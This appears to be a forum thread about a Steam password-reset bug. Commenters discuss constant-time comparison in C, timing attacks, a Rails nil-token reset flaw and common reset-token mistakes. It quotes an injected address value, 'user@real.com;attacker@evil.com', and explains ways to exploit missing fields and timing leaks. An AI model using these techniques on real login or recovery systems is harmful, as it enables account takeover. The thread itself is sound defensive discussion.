Good point. Is there are library of constant time functions for security sensitive applications to replace the standard ones in libc? (Seems like the kind of thing that the OpenBSD people might have written.)
strcmp() is at least better than a buggy equivalent that doesn’t actually work :)
The idea is to use constant time hashing functions, and then compare the hashes instead of comparing the strings themselves. AFAIK there is no implementation of the C stdlib that makes sure no timing attacks can be performed.
Probably not. Ideally you'd implement this endpoint to invalidate the code after a few failures, so a timing attack would be impossible to carry out. But it's a good idea to use one anyway, in case it turns out that you're wrong, or that other code is also broken somehow. It costs almost nothing to do so.
That's one possibility. Another possibility is they were merely comparing the submitted nonce to the nonce on file. If a nonce had never been generated for a user, the database may have contained an empty string. An empty string in the db would match an empty string submitted by an attacker.
I worked on a big name project that had this same problem, which we found because users had begun exploiting it. The problem was caused when a user would intentionally prevent the recovery_code from submitting with the rest of the form, which resulted in recovery_code being nil, which resulted in "SELECT something FROM users WHERE recovery_code IS NULL AND email = targeted_email" hitting the database. This wouldn't work if you'd requested a password reset code and not yet used it, but everyone else was vulnerable. Sounds like something similar happened here.
EDIT: Updated explanation of problem because I originally explained it wrong (required omission of the value on submission, not just a blank value).
I explained it incorrectly. It actually wasn't as simple as leaving the recovery code blank, because as you note, that would result in an empty string. What they did was delete the recovery_code element from the form entirely and then submit. It was a Rails project, so when the application requested params[:recovery_code], it would get back nil, since Ruby gives nil when you request a key that doesn't exist in a hash. If you left the box blank, you wouldn't hit the bug, because "" != NULL.
In a similar vain MS SQL Server ignores trailing spaces when performing string comparisons, which can lead to odd bugs where the data layer considers things to be equal when other layers don't.
Similarly most RDBMSs are case insensitive by default while most programming languages are not, which again can lead to problems where different layers in an application disagree about string equality.
It isn't at all unlikely that bugs in naive code (caused by people not being concious and careful of these sorts of differences) can allow attackers to cause useful information to leak.
No, the recovery codes did expire. I don't remember exactly how the system was checking expirations, but it was obviously not in a way that precluded this attack, though I agree there are several possible ways to check expirations that would've done so. Most likely, the application ignored expiration dates when set to NULL instead of complaining about the invalidity.
Anyone who did not have an active password reset token could have their password reset, because it was selecting users based on their username/email and the user not having an active password reset token (token reset to NULL upon successful password reset, so it wasn't just users who had never reset a password, but also any user who had redeemed their most recent password reset request (obviously, this included practically all users)).
Not sure how you're defining "modern", but it did happen with Ruby on Rails 2.x. I bet I could recreate it in a Rails 4 app.
Yes, there are things that could've been done to prevent this bug from happening, like using Rails's validation mechanisms to reject any POST that didn't contain the field, but that's not really the point. The point is that simple, subtle bugs can and do sneak into production codebases, and more-exhaustive-than-usual testing is needed for anything used to control account access like password resets.
Rails isn't modern. I assume though that at least it does support validation, which is exactly the point. Building a bunch of tests in order to avoid college-level development practices would be a waste. Tests are valuable, but as an additional level of protection on top of good - or just regular - practices.
This is just insane how crazy this is easy to exploit. What did the developers think?? Also for how long was this exploitable? If it was a long time, this could show that we tend to over estimate the security of our websites... (a huge amount of people took a long time to find a super easy bug)
There is absolutely a mess of little oversights like this in every non-trivial software project (I just fixed one not 30 minutes ago). The effects are sometimes very serious, as in this case. Cyber-warfare is scary precisely because of this. There is nothing we can do about it IMO, though things like SELinux/AppArmor and even good filesystem-level permissions help a little bit.
There is something you can do about it, but it's expensive and different from what you are used to. Safer languages is a good place to start.
Input validation can be made to be machine-verified, and anit-patterns can be learned and avoided. Static analysis tools can raise red and yellow flags.
Finally, frameworks are being built for handling security critical things like account validation, crypto key handling, an related tasks that are important to get right.
As the space continues to evolve, things like this will become less common, and someone who is aware of the trade and is diligent will be less likely to make mistakes.
a spell checker didn't save you from a typo. not nitpicking, just using this example to illustrate a point: for an app to be secure, developers have to be 100% of the time on ball, while an attacker just has to be lucky once.
the weight is so much in favor of attacker than only few of the biggest can afford to pay for a competitive level of security, it being a race: security is effective not when perfect, but when it costs more to attack a site than what you'd gain of it.
Believe this is where parent's preference for high-quality, easy-to-use libraries handling common security operations comes from.
It's a lot easier to make a typo (or logical mistake) in 250 lines of your own code than in (hopefully) <250 lines of a library invocation.
Honestly, library functionality like this in any given language should be thought of as an analog to infrastructure spending. We're finally seeing reinvestment from end-users and value capturers (Facebook, Google, MS, etc) back down the chain to the OSS projects they depend on.
Language guiders (and in some cases the support businesses who are attached to languages) should be equally serious about this. If your language doesn't have high-quality, easy-to-use libraries to mitigate attack surfaces, that's a fundamental weakness in your language eco-system...
(Aka the "Perl+CPAN is better than a lot of more advanced languages, because code" argument)
Or even when the gain/cost ratio for attacking YOUR site is greater than the one for other sites. (You don't have to outrun the bear, you have to outrun the other people.)
Could (and should) a safer language pre-empt that you should first check strlen(str) != 0 before doing strcmp? I know of no language which does this.
> Input validation can be made to be machine-verified
Likewise, can you elaborate on this? How does the machine know what type of input this is? If input is tagged by the developer, what's to stop the developer from forgetting to tag the input correctly?
Could (and should) a safer language pre-empt that you should first check strlen(str) != 0 before doing strcmp? I know of no language which does this.
In some languages, you can define a string type that only contains strings of one or more characters. And then you'd need to "convert" a regular string into one of those by using some function that forced you to handle the strlen(str) == 0 case.
I believe you can define that in Idris, for example.
int token_length = strlen(token);
int input_length = strlen(input);
int match_count = 0; // for constant-time comparison...
// Just get this out of the way now; no need to dawdle
// (because the length of a token is generally known)
if (token_length != input_length) {
return false;
}
// No need to worry about mismatched buffer lengths at this point
for(int i=0; i<token_length; i++) {
if (token[i] == input[i]) {
match_count++;
}
}
// if the same number of characters match, voila!
return (match_count == token_length);
It takes far too long to understand the intent and verify the correctness of lines like:
if(strlen(token) < i || user_token[i] != token[i]) valid = false;
int token_length = strlen(token);
// Just get this out of the way now; no need to dawdle
// (because the length of a token is generally known)
if (token_length != strlen(input)) {
return false;
}
// No need to worry about mismatched buffer lengths at this point
for(int i=0; i<token_length; i++) {
if (token[i] != input[i]) {
return false;
}
}
return true;
And all of a sudden the timing attack is back.
You cannot write a constant-time function in portable C / C++, and trying to do so is a fool's game.
I was willing to concede your point, but I tested first. Using clang to compile, I did some profiling on my function optimized to various levels (-O0...-O3, -Os, -Ofast) with various inputs. The variation in timing is noise (I get the same variation on the same test inputs in different runs of the program.) I'd be curious to know whether you can provide a combination of compiler and compiler options that do indeed produce noticeable variations in timing as a function of the inputs.
"You cannot write a constant-time function in portable C / C++..." perhaps you mean that we can't outsmart compiler optimizations. Without optimizations ("Debug" configuration), the code runs exactly as written.
Ultimately, I'm going to prefer code with obvious intent regardless of how the compiler will optimize the thing. We'll just have to find a way around this timing attack business.
I would be very surprised if a compiler on a modern high-performance processor actually did this optimization - as deep pipelines and speculative execution mean that the additional conditional branch per loop may hurt more than it helps.
That being said, on a simple architecture - namely a shallow pipeline - this sort of thing is an "obvious" optimization.
And w.r.t. "without optimizations" - there is no such thing at the C / C++ level. There are computer architectures where optimizations pretty much have to be done, for instance. (Many architectures with compile-time scheduling, for instance.)
For instance, if you have a dataflow machine it may end up running this in non-constant time. And I'll note that modern x86 processors are looking more and more like dataflow machines.
Why can't you just set a bit for each non-match and then bitwise-or them all together, returning false if non-zero? I don't think a compiler can optimize that away.
One is just relying on adding a positive number never makes a number > 0 0 again. The other is just relying on oring a bit to a non-zero number never makes it zero again.
I don't understand. I thought the timing attack was because the logic short circuits when it finds a non-match. How does the compiler short circuit the bitwise-or?
At first I was thinking you could write the bits out to a separate word, but I think this suffices:
uint result = 0;
for (i = 0; i < length; i++)
result |= notmatch (i);
return result == 0;
You would need value range analysis for the use of result in addition to the insertion of an extra test and branch to short circuit the loop, plus a model of what |= does to values. Do any compilers actually do this?
But, actually I'm kind of confused about your first point. What optimizations did your compiler use to eliminate the match_count++ and hoist the return into the loop?
As I've said elsewhere, current compilers are unlikely to do so. Current processors have too deep a pipeline to make it worth it.
But on an architecture with a short pipeline it can be worth it for a compiler to do so.
And it's simple, in theory if nothing else. Note that once result has a bit set, result cannot ever return to zero. Hence, if result has a bit set, one can return false immediately. And all of a sudden you lose the constant-time part.
As for how a current compiler could do so? Look at what happens if/when the loop is unrolled.
That current compilers don't tend to do this sort of optimization makes it only more dangerous - because people do not go back and re-examine old code nearly as often as they should. Much less check the assembly every time they update the compiler.
You can still do a timing attack against that. Suppose the password is "password". You do a timing attack to find the correct length, then you start trying "aaaaaaaa", "bbbbbbbb", "cccccccc", ... The ones that take less time on average are the ones that contain a letter from the password. You can go from there. Ever played mastermind?
It's a mitigation but it doesn't prevent the attack.
Not to mention: how exactly will you check that you've compared them all?
Ah, mastermind. I think you mean the ones that take more time on average contain a letter from the password, not less. Anyway, good point.
I was thinking you could maintain an array of flags to indicate whether you've compared a certain position before, and a count of all the compared positions so far.
Alright, here are my other ideas:
1) Properly chosen 8-character passwords are pretty strong, right? So why not copy all of the 8-bit chars into a u64 and compare that directly? You can treat longer passwords as a series of 8-char passwords. Assumes a machine that won't short circuit on u64_a == u64_b. Less effective for 32-bit. The compiler won't undo this since it's an optimization (1x aligned 64-bit compare is more efficient than 8x 8-bit compares, seven of which are unaligned).
2) Introduce a random delay after the byte-wise comparison is done that is up to 10x the length of the comparison. The comparison variance gets lost in delay variance. I know, a mitigation, but it's effective. Combine with random selection of characters for more effectiveness.
3) Use a perfect hash of the password. You don't need to compare keys after a perfect hash.
Whoops, yep, that is incorrect. Should be more time, as you said.
1) That causes massive problems for people (like me) who use passphrases. (I use diceware passwords for anything I don't use a password manager for. So things like "corn umpire khaki dow heave hiatt sis steal". That's ~103 bits of entropy (massive overkill for most things), and yet is a whole lot easier to remember than, say, "FlyaJdqJW6kvyUQeE" - which is ~101 bits of entropy (17 random upper/lower/digit characters).
It also assumes that the machine doesn't short-circuit, as you say.
And, again, you're assuming that the compiler doesn't undo it. Just because it won't be undone by optimizations on current machines doesn't mean it won't be undone by optimizations on future ones. On a RISC architecture, for instance, a 64-bit compare may not even exist - it may be implemented by 8-bit compares. Or 16, or 32. Whatever.
2) Ever heard of the german tank problem? That will not drown out the comparison, not at all. I can defeat your example (10x noise as comparison time) with >90% accuracy with 100 samples. (Just take samples, and take the mean of the sample minimum and maximum.)
3) Without leaking other people's passwords every time you generate a password for someone?
I find this sort of conversation intriguing. I want things to be more secure, I just don't know of a good way to do so.
A perfect hash is a function in the mathematical sense in that there is a unique output for each input. So, hash the stored password ahead of time, and hash the challenge password after receiving it, and then compare the two hashes. You don't need collision detection, since a match can only come from two identical keys. You don't generate passwords for people, although you could, as long as you don't reveal your hash function. There are useless perfect hashes, like "password + 1", and there are much better ones that produce near-random output.
But a) pigeonhole principle (you need an output at least as long as the longest string you'll encounter), and b) I was under the impression that perfect hash schemes require you to know the set of strings encountered ahead-of-time.
Could you give me an example of a perfect hash function that is suitable and secure enough for password use? I do not know of any.
You're right, there's a hard limit on password length. That might be fatal if you're using diceware, I don't know if you could accommodate passwords that big. As for the set of strings, just assume it's every string possible, so 256^8 strings for an 8 byte password. That's only 16384 petabytes.
All of the perfect hash functions I've found require knowing all of the keys ahead of time. You might not be able to fit 16384 PB on your hard drive or in memory. (Hey, I don't know. You could work at LLNL.) But I think that if you knew you might use any key in the space, and you didn't insist on a minimal perfect hash, i.e. one where there is a 1:1 mapping from hashes back to keys, that you could write such a function without having all of the keys.
If you did this, you'd also need to prove you were generating a unique and effectively random hash. If I was a crypto academic, that might be an interesting line of research. I'd be kind of surprised if nobody ever tried this though, and there's probably a decent amount of literature to pore over. I guess most people use perfect hashes for hashtables and not as a defense against timing attacks.
Congratulations. You've just described the standard method of password hashing. (Well, you've missed the common extensions of salt / pepper, but meh.)
If you pick a cryptographically secure hash that's long enough, you don't need to worry about collisions. The birthday problem dictates that you start getting collisions after ~sqrt(D) random entries. So if you pick a 128+ bit hash you should be fine on that front (128 bits -> ~2^64 entries before a collision on average, which shouldn't be a problem.)
However, as I've mentioned elsewhere, all this does is punt the constant-time problem off to the hash function.
Anyway, why exactly isn't the hash function constant-time? I don't understand this, the hashes I've played with for hashtables are just a bunch of bit shifts. Is it only message length?
You still have to perform the byte-by-byte comparison and this is where TheLoneWolfling alleges the optimizations kick in and give away secrets. However, from my testing, the variations in timing are unpredictable (I get variations on compare speed on different runs of the same program with the same input) and small and would be swallowed up by variations in network latency.
Again, the compiler is free to optimize that to data-dependent time. It's relatively unlikely to do so on current machines (the time saved is unlikely to be worth the potential of a pipeline stall), but it's free to do so.
For instance, it's legal for the compiler to insert a strcmp fallthrough (`if input == token: return true`, or rather the strcmp equivalent) at the start, I'm pretty sure.
I have a bunch of other replies in this thread that touch on this, but suffice to say it's not just the comparison that matters.
For one thing, you have to assume that the SHA function is data-independent time (which, again, good luck doing in C / C++).
For another thing, noise in timing attacks doesn't prevent them. Even at levels of noise that seemingly obscure everything. And it's a very bad thing to rely on network latency being unpredictable enough.
Since an optimizing compiler is free to go to town on functions such as string comparison, are these functions typically written in assembler per-architecture? I.e. one for x86 and x86-64, another for MIPS, RISC, etc?
Except that that still leaves you open to a dictionary attack.
Or rather, it accelerates a dictionary attack from O(sizeof(dictionary)) tries to O(length(hash)) tries.
(Let's suppose you are comparing by hex digits. You try 16 dictionary "words" whose hashes start with 0...f. One of those should take slightly longer. You then try 16 dictionary "words" whose hashes start with the digit found previously with different second digits. (Skip any digits that you don't have a word for.) One of those should take slightly longer... Repeat until found.)
This can be mitigated with a salt - if and only if you manage to prevent the user from figuring out how your salting scheme works.
a) You're just punting the timing attack off to the SHA algorithm.
b) There is no SHA algorithm in the C / C++ standard library (that I know of), muchless a guaranteed constant-time (or rather, data-independent) one.
c) The compiler is well within its rights to insert "busy_loop_for_ms(input_char);" anywhere it wishes. It is unlikely to do so, but it is allowed to. As I said: C and C++ don't have any notion of constant or variable time.
That's a good point. However, even if you wrote the routine in assembly, the CPU could pull a similar trick. At some point you have to give up and trust the tool not to do something too catastrophically stupid. Whether that point is at the CPU or the C compiler (with sufficiently paranoid C code) or elsewhere, I'm not sure.
Yep. A classic example is multiplication - which isn't constant-time on modern machines but was on many older ones.
Currently, CMOV is looking like it could become the same thing. It currently takes data-independent time. But is not guaranteed to do so, and very well may not in the future.
The distinction is that hardware tends to change slower than software. You generally have multiple compiler versions per hardware version (possible exception of embedded processors, but even then...).
What do you think this does under the hood? You're basically saying, "why don't you use a correct string comparison function instead of a broken one?" which isn't a particularly valuable insight and has nothing to do with Go.
Also, unless you're familiar with how Go implements string comparison you don't know if it's exploitable in other ways like timing attacks.
Valve's failure was in testing, not language choice.
Expecting the go builtin functions to be correct is a pretty safe bet. Used by thousands of people and built to stop problems like buffer overflows, vs something you wrote yourself.
Using a popular library in a language with unsafe builtin types would achieve a similar effect, as long as the library was code reviewed, etc, but the point is that safer languages don't require you to take that extra step. Use them idiomatically and entire classes of exploits will not be possible through your code.
As for timing attacks, if you are making cryptographically sensitive code you really should be using a crypto library and not anything you made yourself.
There's plenty that can be done about it, but it imposes a cost that most software shops don't want to pay today, despite the enormous costs of these breaches.
Formal code reviews. Longer pipelines between checkin and deployment. Penetration testing during pre-release. Better QA, both manual and automated. Better security policies in general. And so on.
Making a change to security related code should trigger a process that represents and avalanche of attention. There should be a shit-ton of scrutiny on any such change. The fact that something this simple wasn't caught is indicative not that "nothing can be done" but rather that most security related code today is handled in an amateurish way by teams who barely care about the consequences of their actions.
Watching that, it amazes me how many people don't get that. Not long ago there was an article on HN about this very experiment (from NY Times, IIRC).
Now I can imagine, if you're not a software-tester by heart, that you'd maybe try to "win" the first or two tries, out of habit. I'm not a professional tester, just a coder, and reading the aforementioned article, I also first tried 3/6/12 and then some arbitrary increasing sequence, before catching myself and realizing if I want to figure out the rule I need some negative examples.
Is this something you need to be a programmer to realize?
Or maybe you need to have a "scientific" mind or something?
I'm going to try this on some of my friends, see if I can figure it out.
I expect a big part of it to be some psychological barrier against "failing" or getting "no" as an answer, especially if you're being put on the spot about some math-related puzzle. Many people feel uncomfortable with maths and perhaps fear giving a "wrong" answer and appearing "stupid".
But "fear of maths" isn't what I'd be testing for, it's "willingness/realization to try an experiment with an (expected) negative outcome".
So I'll make sure to formulate the problem in an appropriate manner, just like the guy in the video did, that the goal is to figure out the rule, not to finish the sequence. Try to make them comfortable, but not as far as saying "It's okay to ask me about a sequence that does not follow my rule", because that would obviously bias the experiment.
Though I wonder now, there's some really interesting studies to be done (probably many already have been done), what if the puzzle is about some other rule for a sequence of three, that doesn't have anything to do with numbers?
Say the rule is "objects of increasing size", but the (similarly misleading) example is bicycle / car / train.
I would think the phenomenon is basically equivalent to confirmation bias. A hypothesis is formed immediately upon seeing the question. Then, only further information which confirms their hypothesis is tested.
Testing the negative is something that should be fairly routine in a scientific-testing mindset. For instance, medical experiments testing both placebos (negative) and medicine (positive) and looking for differences.
I think it's an implicit assumption that a big complicated rule will be very picky in what it accepts, meaning hits are rare and will reveal more information than misses. They think all the complications are on the input side, so they're trying to pick interesting inputs instead of interesting outputs.
Come to think of it, I might be making this mistake but for non-boolean functions. I try to always have tests that pass in interesting values, but maybe I should consciously also try to have tests that get back interesting values. For example, when testing a classifier I should make sure all the classifications are possible. Or, when testing some mathematical function implementation, I should have tests with inputs that cause the result to be exactly -1, 0, 1, and 2 (if applicable).
Writing such an exploitable code is entirely forgivable.
However, I would expect such a critical module to be thoroughly unit tested. I am going to venture that it probably was not the case.
Take a few minutes and re-evaluate your password reset scheme. They are treacherously difficult to get right. Every pentest we did, we made a beeline for the password reset functionality; it was often a cheap, quick gameover bug.
I spent a week consulting for a small education software start-up and was horrified when I saw that their password reset process was the following:
1. An anonymous person sends a message via Google Chat to the support Gmail address.
2. A staff member would ask the anonymous person for the username of the account for which to reset the password.
3. The anonymous person would present the username.
4. The staff member would reset the password and create a temporary password and would then give that anonymous person the password. The staff member would then explain how to change the password once the anonymous person had logged in with the temporary password.
I spent too long trying to explain to the staff and the CEO why it was a problem that any person could gain access to any account...
I'm a teacher in the UK. Educational systems range from the ridiculous like the one you mention to the ones who take it very seriously.
One employer some time ago would only do password reset if you turned up in person with photo ID. That organisation had quite a lot of students spread over a number of sites so it was labour intensive - the library staff used to be able to reset passwords and they had access to the student and staff badge photos. IT staff at a University I taught at for a year would only reset password if you went on a conference call with a manager level staff member who could confirm recognising your voice.
For a general access Web site available nationally and not tied to an institution I imagine you would have to fall back to the usual email reset code with challenge question type systems.
* Not being very careful with the lifecycle of a token.
* Encrypting tokens and expecting users to feed back the same encrypted token, and failing to authenticate.
* Simple parse errors and SQL injection on the tokens themselves.
* Exploitable generation (for instance, non-cryptographic RNGs) for the tokens themselves.
* Having multi-page flows starting from the receipt and validation of a reset token, and then having standard web flaws somewhere in that flow (for instance: userid is validated only at the start of the flow).
* Mishandling of cases where users have multiple outstanding reset requests.
* Accepting the email address to send token to from web user, validating the address, and then using the user input directly as the email address to send the token to; as in: systems that will send token to user@real.com;attacker@evil.com.
One bug everyone has in their password resets: they don't cancel outstanding tokens when users change their passwords, so that long after a user has reset their password, their email boxes still contain password-equivalent tokens. That's not a high-severity bug, but it's a meaningful one.
* Accepting the email address to send token to from web user,
validating the address, and then using the user input directly
as the email address to send the token to; as in: systems that
will send token to user@real.com;attacker@evil.com.
I'm missing something here... How does "user@real.com;attacker@evil.com" validate as "user@real.com"? Is this a regexp vs strcmp() issue or is there something more subtle at play?
One scenario I can imagine is a regex which doesn't properly handle multi-line inputs (quite common issue in ruby[1]). Together with a mail header injection vulnerability, this input could be dangerous:
Total speculation, but maybe they're trying to be clever and accept things like "John Doe <john@doe.com>" as being equivalent to "john@doe.com" and end up using a full e-mail parsing library for the matching which is more capable than they realize?
> * Accepting the email address to send token to from web user, validating the address, and then using the user input directly as the email address to send the token to; as in: systems that will send token to user@real.com;attacker@evil.com
If you do a "is this even a valid email?" check and a "exists user by email" check with that input (assuming no SQLi, of course), would this even be possible? I'm failing to see what the vulnerable code would look like in that scenario.
> One bug everyone has in their password resets: they don't cancel outstanding tokens when users change their passwords, so that long after a user has reset their password, their email boxes still contain password-equivalent tokens. That's not a high-severity bug, but it's a meaningful one.
This is solved by simply deleting the tokens after reset, correct?
You can get expiration and many other nice things without having to worry about a whole class of other issues.
To make a password reset all previous reset tokens, simply include an autincrementing number for "passwordVersion" and stick that sucker in the HMAC as well.
> If you're saving a token in the database to delete, you're doing it wrong anyways.
I think the strength of your statement here is not warranted – in the context of security, there's no flaw from doing that. Likewise, saying "HMAC" is "the right way"... well, I wouldn't agree with that.
If you do HMAC, you only have time-based expiry. Thomas was talking about tokens sitting in email inboxes that are still valid and are effective passwords... you can't make your HMAC tokens expire as soon as they're used, so that's still a concern.
The top "disadvantage" discussion in that thread is about somebody messing up their links because they rolled their own base64 encoding with period characters in it ... or something like that. I'm not even sure what they were thinking, but there's nothing about keeping reset tokens in the database that would prevent their problem.
Strong disagree. You are much better off saving tokens than you are in using HMAC or any other cryptography to try to extend your security boundary to email. There is more that goes wrong even with simple HMAC tokens than there is with opaque random tokens.
Can you shed some light about what could go wrong?
I remember reading about this HMAC/"no database" technique and thinking it was pretty cool.
Is it because you may want to encode more fields than just expirationTime, but also (say) lastLoginTime and such, so the GET URL would get awkwardly long (and possibly break in some email client), or is it something more fundamental than that?
Cause I thought that using the HMAC as a primitive was the right way to get hash-based authentication right, as opposed to messing around with actual cryptographic hashes.
If you have to validate, you're doing something wrong (but this is a something wrong people do sometimes do). You should send email only to the string you saved in the database record for the user.
There's no reason you couldn't have the user pick a new password before you send them the token. Just don't activate it. Leaking the reset token in this way looks unlikely, but there could be other vectors... like an attacker poisoning the sites DNS cache to intercept reset emails, or a state or database disclosure bug in your code.
It's fairly common to see reset tokens going in to the database verbatim, instead of treating them as passwords and stashing away a hash (single SHA is fine if your tokens are long and random).
There is a reason not to do this: at the point where you cache the new password, you have no idea who's making the request. An attacker banks a trivial password into the password reset, triggers the email reset token, and waits for the unsuspecting user to click the link in the email. So you have the user enter the password again after clicking through the token. But now you have a condition where accounts are only as safe as it is difficult to get users to type an attacker-chosen string into a web form.
Hmm, can you explain how this opens up new phishing vectors?. Sure, you could dress the reset page up like a promotion with an iframe and try and get the mark to enter a 'coupon code' or something, but that isn't going to work without the reset token. Password resets by email are already vulnerable to carefully timed phishing.
This is why the bigger you are, the more important it is to log almost everything that you can... It sucks from one side, because it is a security risk to log potentially sensitive information, on the other hand it's critical to be able to diagnose problems in the wild.
In this case, if requests for password resets are logging the codes sent (even if the error is present), they would be able to determine which accounts were affected, and return them to the appropriate registered email address (if they were changed).
On the one hand, the storage and compute costs for these kinds of things suck.. but this is exactly what big table solutions are for, be they C*, ElasticSearch, Google, Azure or AWS table storage solutions. If you have more than 10K users on your system, and logging everything possible isn't routine, it should be.
Access to read that log data is another issue entirely.
This is what concerns me the most with Valve: you build a library of games over the years, and one day someone hijacks your account (because of improper testing on Valve's side) and you lose it or it becomes banned, and you are left with nothing but your eyes to cry.
At least with GOG this would never happen (at long as you save your games locally), but the GOG catalog is way smaller than Steam's.
The good thing with Valve is that although they make comically terrible mistakes like this, they know they're bad at getting stuff right and put traceable information on everything
Get falsely VAC banned? They'll detect this and know exactly what happened and revert the issue. Have your account hijacked? They'll trace exactly what happens and fix it all up. Not to mention that this change triggered the standard 'you can't trade or market any games/items on your account for 7 days' block, so even when someone takes your account you don't actually lose anything.
Valve makes some incredibly bad bugs in their software (games as well as Steam itself), but at least they track and trace everything so they can unwind their screw-ups.
Disclaimer: I currently make my living thanks to valve software
Hah, maybe if you're lucky enough to actually hit a human. Valve has ludicrously terrible support. There have been tons of reports of 1-2 week wait times after submitting a ticket, only to receive an automated response with nothing to do with the actual ticket (even experienced this myself a few times, not fun).
People are quick to praise valve but I don't think it's truly deserved anymore. Sadly the days of them caring about their products and communities are long gone..
I wish it was only one to two weeks. It took me nine years to get my primary Steam account back after a billing error on Valve's end. Tickets would normally come back with, "It's banned and we won't tell you why." Not VAC banned, just banned from being used.
The days of caring never really existed in the first place.
Something similar happened to my sister's account five years or so ago. I got her a game as a Christmas present, Valve wouldn't let her log into her account, and they never responded to anything. She has a different account now and that one was never recovered.
That's true. In my observation it tends to be that their tracing alerts employees to a problem, which they then proactively fix without the end user having to contact support. When it requires human intervention and isn't caught by their own systems, it's another matter entirely.
I'm pretty sure I was hit by a bug during the recent sales event and submitted a ticket, but to this day never heard back. Their human-based support is Google-level bad.
I dunno, I submitted a ticket a few weeks back for a refund and got a human. I guess his first reply was canned but when I called him out on it, he was helpful and provided me with a full refund. (I had added funds to my Steam wallet to buy an item on the marketplace and then got a 7 day market ban making me unable to use the money. A few mins later the item I wanted to buy had already been sold.)
> Hah, maybe if you're lucky enough to actually hit a human
To be fair, Valve is probably not fit to have proper consumer support since they are still a very small company (with a HUGE customer base). Unless they decide to invest in headcounts to have proper support, that is.
To be fair, last I checked valve is a multi-billion dollar company, not some small-scale startup. They could easily build out a quality support infrastructure but choose not to.
At any reasonable estimate of Valve's revenue and valuation multiples, they're easily a billion dollar company, I'd be surprised if it was as low as only $1B. They have nearly 500 employees listed on LinkedIn[1] which is probably a decent estimate given people who've left but haven't updated their profiles and those without profiles in the first place. That's not a small company by any stretch, and I think we can all agree they're purposefully making the decision to not offer competent support.
I don't know about all of them, but do you realize that we are talking about 1B$ ACTUAL revenue in current dollars of sales, not valuation ? These are two very different things.
> They are very small scale in terms of employees numbers. Check your facts.
bluejellybean was clearly not disputing that their current headcount is low. Their point was that a billion-dollar company is not "small-scale," no matter what their headcount is. Check your own facts before you get snippy.
They may have logs but they don't have perfect logs.
I know people who got banned for having debuggers open not attached to the game.
The VAC system is also incredibly intrusive. It was scanning random processes on my computer, and I know this because when I tried to recompile my program, it failed because it couldn't delete the executable because Steam had an open handle on it...
You would never hear about Valve failing in these cases because no random person would trust testimony from random people over Valve.
Umm...I guess 'citation needed' on the VAC ban part? Valve has a very strict zero-tolerance policy w.r.t VAC bans. As far as I know, reversals are rare and only happen in mass when VAC bugs out and detects a legit program as a cheat which results in an incorrect ban wave which then gets reversed.
I'm pretty sure that if I got access to your account and got your account banned, you'd be SOL.
On the other hand, VAC bans now only affect the single game that the cheat was used in, so your entire Steam library won't be trashed. Exceptions to this include early Source games (e.g. cheating in CS:S will get you banned in TF2) and HL engine games (e.g. CS 1.6 ban also affects DoD)
Yes, if you get access to my account and get it banned I'm SoL except if it were through some fault of their own. Same with items. [1]
They've reversed several waves of bans, with a number listed here [2] that you can follow the links through on if you feel like doing so. It's very rare but it happens.
> Valve makes some incredibly bad bugs in their software (games as well as Steam itself), but at least they track and trace everything so they can unwind their screw-ups.
Well for the recent but on Steam Linux that erased your hard drive if you moved the Steam library folder somewhere else, there was nothing they could do to "unwind their screw-ups", except fixing it in the code once the damage was done.
Warning:
The uninstallation process deletes the folder Steam was
installed to to ensure it is fully uninstalled. If you accidentally
installed Steam to a folder containing other data, for example
C:\Program Files\ instead of C:\Program Files\Steam\, STOP!
I'd expect most software uninstallers to do the same thing. That's why we should use package managers instead of letting users choose where to put things (or fully encapsulated app objects rather than using installers at all).
Most software on Windows only erases files that it installed, and leaves the directory in place if there are any other files remaining. Sure it may be annoying to clean up if you mind orphan stuff, but it's way better than the alternative.
Emailing Gabe directly was helpful in getting a WINE issue debugged in the days before native Linux support (actually turned out to be a Linux kernel bug). I don't want to encourage people to spam someone whose time is surely scarce, but perhaps if all other avenues are exhausted and the stakes are high, this may be a reasonable approach.
By the way- for security issues, their security@valvesoftware.com address gets /very/ fast, human replies. For example- when Steam Curators rolled out, you could use javascript: URIs for links to "read full review". 5 minutes after Curators was released to the public, I discovered that. 30 minutes later, it was fixed.
That said, that's just their web app; getting issues fixed in games is MUCH slower.
Not all Steam games include DRM. Even if Valve turns malicious and tries to activly delete your local copy of the games. As long as you have a backup of the Steam directory, you would still have access to the non DRM games you had downloaded.
If by DRM you mean the game won't boot up without an internet connection check, then no, most games do not require the internet to run. Even GTAV loads up fine in offline mode. As it should.
Even Ubisoft's Uplay and Origin clients have offline modes.
Games which require the internet to load up, even though they have single player modes, deserve a thumbs down. Steam has an offline mode, and game publishers should respect that.
As part of one of my academic projects, I did a bit of research on password reset functionality of about a dozen major websites. It was interesting to note that each and every website had implemented it in a different manner. So much difference in the process and the lack of a standard procedure was shocking, though understandable. It was interesting to brainstorm and discuss about the rationale behind each of the password reset process and the User Experience decisions involved.
I also noticed a frighteningly large number of small websites that get 'password reset' absolutely wrong, compromising their users' accounts. It is something that is very difficult to get right, unless thought through completely before implementation. Whenever I signup for a new user account on a fairly new website, I try to use a dummy throwaway password on the first attempt and then try the password reset option to see if the website is actually serious about security. It is like a litmus test for me to decide about continuing to use the website and trusting them with more of my data.
Can you give some examples of what you'd consider red flags in a site's password reset procedure? I'd be really curious; this is an area that I've thought about as a "necessary but horrible-for-security thing".
A few examples of unacceptable practices followed by certain websites include:
- Sending your password to your email in plain text.
- Allowing user to set new password just by answering simple personal details like DOB, Zip code etc which might be known to a number of your friends and family members.
Often it is simple enough to implement a password reset functionality with a reset-link that contains a GUID which expires after a certain period of time. It could be more secure, but is a tradeoff between providing greater security and a longer reset process.
One of the major risks of websites with very naive reset procedures is that many people use the same password with multiple websites. So if a user's password gets compromised on a site, then the attacker can easily try those passwords with other services and gain easy access to user data.
Only if the send you your old password. If they reset your password, they can send you the plaintext first, then hash the password and store it in the database.
No. The problem is that email isn't encrypted on the backend. Sending a plain text password means every server between the website's SMTP server and your email provider's SMTP server can see the password.
a) Work once. If you click on a password reset link and it says it's already been used, you know something is up, v.s. someone using the plaintext password to log in before you and you are non the wiser.
b) Expire. Lot's of people won't bother changing the password that was given to them, so anyone who comes across a plaintext password in the email at a later date would be able to log in.
Temporary plaintext passwords are rare; I don't think I've ever seen one. If you've got as far as temporary plaintext passwords, I'd argue it's a better UX to provide a simple link instead of forcing them to copy and paste something.
On July 25th we learned of a Steam bug that could have impacted the password reset process on your Steam account during the period July 21-July 25. The bug has now been fixed.
To protect users, we are resetting passwords on accounts that changed passwords during that period using the account recovery wizard. You will receive an email with your new password. Once that email is received, it is recommended that you login to your account via the Steam client and set a new password.
